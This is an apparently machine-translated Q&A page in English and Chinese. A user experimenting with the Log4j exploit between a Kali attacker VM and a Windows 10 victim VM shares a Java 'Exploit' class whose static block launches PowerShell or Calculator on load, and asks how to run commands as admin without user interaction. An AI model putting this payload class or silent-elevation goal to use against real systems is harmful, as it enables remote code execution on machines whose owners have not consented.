[英]How to execute a command in a cmd as a admin using java
So I'm playing around with the Log4j exploit for java on two virtual machines, and I got CMD and Powershell to open, but i can't figure out how to open them as an admin and run a command without any user interaction. So I'm playing around with the Log4j exploit for java on two virtual machines, and I got CMD and Powershell to open, but i can't figure out how to open them as an admin and run a command without any user interaction. This is what i have so far as my code.
这就是我的代码。 This code gets Powershell to run without any commands or as an admin.
此代码使 Powershell 无需任何命令或以管理员身份运行。 And all this is being done on a kali Linux machine as the attacker VM and a Windows 10 machine as the victim VM.
所有这些都是在作为攻击者 VM 的 kali Linux 机器和作为受害者 VM 的 Windows 10 机器上完成的。 Any help will be appreciated
任何帮助将不胜感激
public class Exploit {
public Exploit() {}
static {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "start powershell.exe"}
: new String[]{"open","/System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
} }
Try running cmd as an administrator in the first place as shown here: Run command prompt as Administrator首先尝试以管理员身份运行 cmd,如下所示: 以管理员身份运行命令提示符
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.